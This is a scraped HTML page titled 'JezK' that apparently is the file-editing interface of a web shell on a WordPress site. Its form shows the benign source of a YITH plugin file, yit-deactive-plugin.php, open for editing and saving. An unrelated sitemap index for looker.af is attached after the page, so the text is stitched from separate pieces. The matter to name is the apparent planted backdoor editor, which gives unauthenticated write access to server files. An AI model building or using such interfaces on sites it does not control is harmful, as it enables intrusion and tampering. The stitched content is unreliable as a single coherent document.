
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: yit-deactive-plugin.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Functions for deactivating plugins.
 *
 * @package YITH\PluginFramework
 */

defined( &#039;ABSPATH&#039; ) || exit; // Exit if accessed directly.

if ( ! function_exists( &#039;yit_deactive_free_version&#039; ) ) {
	/**
	 * Deactivate the free version of the plugin.
	 *
	 * @param string $to_deactivate The constant name of the plugin to deactivate.
	 * @param string $to_activate   The path of the File of the plugin to activate.
	 *
	 * @deprecated  3.9.8
	 */
	function yit_deactive_free_version( $to_deactivate, $to_activate ) {
		yith_deactivate_plugins( $to_deactivate, $to_activate );
	}
}

if ( ! function_exists( &#039;yith_deactivate_plugins&#039; ) ) {
	/**
	 *  Deactivate a list of plugins, and terminates activating another plugin.
	 *
	 * @param string|string[] $to_deactivate The constant name of the plugin(s) to deactivate.
	 * @param string          $to_activate   The path of the File of the plugin to activate.
	 */
	function yith_deactivate_plugins( $to_deactivate, $to_activate = false ) {
		if ( ! function_exists( &#039;is_plugin_active&#039; ) ) {
			require_once ABSPATH . &#039;wp-admin/includes/plugin.php&#039;;
		}

		$deactivated   = array();
		$to_deactivate = (array) $to_deactivate;

		foreach ( $to_deactivate as $plugin_to_deactivate ) {
			if ( ! defined( $plugin_to_deactivate ) ) {
				continue;
			}

			$plugin_to_deactivate_init = constant( $plugin_to_deactivate );

			if ( ! is_plugin_active( $plugin_to_deactivate_init ) ) {
				continue;
			}

			deactivate_plugins( $plugin_to_deactivate_init );

			$deactivated[] = $plugin_to_deactivate_init;
		}

		if ( empty( $deactivated ) ) {
			return;
		}

		global $status, $page, $s;

		$query_params = array(
			&#039;yith_deactivated_plugins&#039; =&gt; implode( &#039;,&#039;, $deactivated ),
			&#039;plugin_status&#039;            =&gt; $status,
			&#039;paged&#039;                    =&gt; $page,
			&#039;s&#039;                        =&gt; $s,
		);

		if ( $to_activate &amp;&amp; function_exists( &#039;wp_create_nonce&#039; ) ) {
			$query_params = array_merge(
				$query_params,
				array(
					&#039;action&#039;   =&gt; &#039;activate&#039;,
					&#039;plugin&#039;   =&gt; $to_activate,
					&#039;_wpnonce&#039; =&gt; wp_create_nonce( &#039;activate-plugin_&#039; . $to_activate ),
				)
			);
		}

		$redirect = esc_url_raw( add_query_arg( $query_params, admin_url( &#039;plugins.php&#039; ) ) );

		if ( function_exists( &#039;wp_safe_redirect&#039; ) ) {
			wp_safe_redirect( $redirect );
		} else {
			header( &#039;Location: &#039; . $redirect );
		}

		die;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
